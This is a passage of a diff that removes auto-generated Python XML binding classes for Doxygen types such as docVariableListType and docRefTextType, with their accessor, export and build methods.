outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docVariableListType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docVariableListType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docVariableListType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for varlistentry_ in self.varlistentry: - namespaceprefix_ = self.varlistentry_nsprefix_ + ':' if (UseCapturedNS_ and self.varlistentry_nsprefix_) else '' - varlistentry_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='varlistentry', pretty_print=pretty_print) - for listitem_ in self.listitem: - namespaceprefix_ = self.listitem_nsprefix_ + ':' if (UseCapturedNS_ and self.listitem_nsprefix_) else '' - listitem_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='listitem', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'varlistentry': - obj_ = docVarListEntryType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.varlistentry.append(obj_) - obj_.original_tagname_ = 'varlistentry' - elif nodeName_ == 'listitem': - obj_ = docListItemType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.listitem.append(obj_) - obj_.original_tagname_ = 'listitem' -# end class docVariableListType - - -class docRefTextType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, kindref=None, external=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.kindref = _cast(None, kindref) - self.kindref_nsprefix_ = None - self.external = _cast(None, external) - self.external_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docRefTextType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docRefTextType.subclass: - return docRefTextType.subclass(*args_, **kwargs_) - else: - return docRefTextType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_kindref(self): - return self.kindref - def set_kindref(self, kindref): - self.kindref = kindref - def get_external(self): - return self.external - def set_external(self, external): - self.external = external - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxRefKind(self, value): - # Validate type DoxRefKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['compound', 'member'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxRefKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docRefTextType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docRefTextType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docRefTextType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docRefTextType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docRefTextType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docRefTextType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.kindref is not None and 'kindref' not in already_processed: - already_processed.add('kindref') - outfile.write(' kindref=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kindref), input_name='kindref')), )) - if self.external is not None and 'external' not in already_processed: - already_processed.add('external') - outfile.write(' external=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.external), input_name='external')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docRefTextType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('kindref', node) - if value is not None and 'kindref' not in already_processed: - already_processed.add('kindref') - self.kindref = value - self.validate_DoxRefKind(self.kindref) # validate type DoxRefKind - value = find_attr_value_('external', node) - if value is not None and 'external' not in already_processed: - already_processed.add('external') - self.external = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = 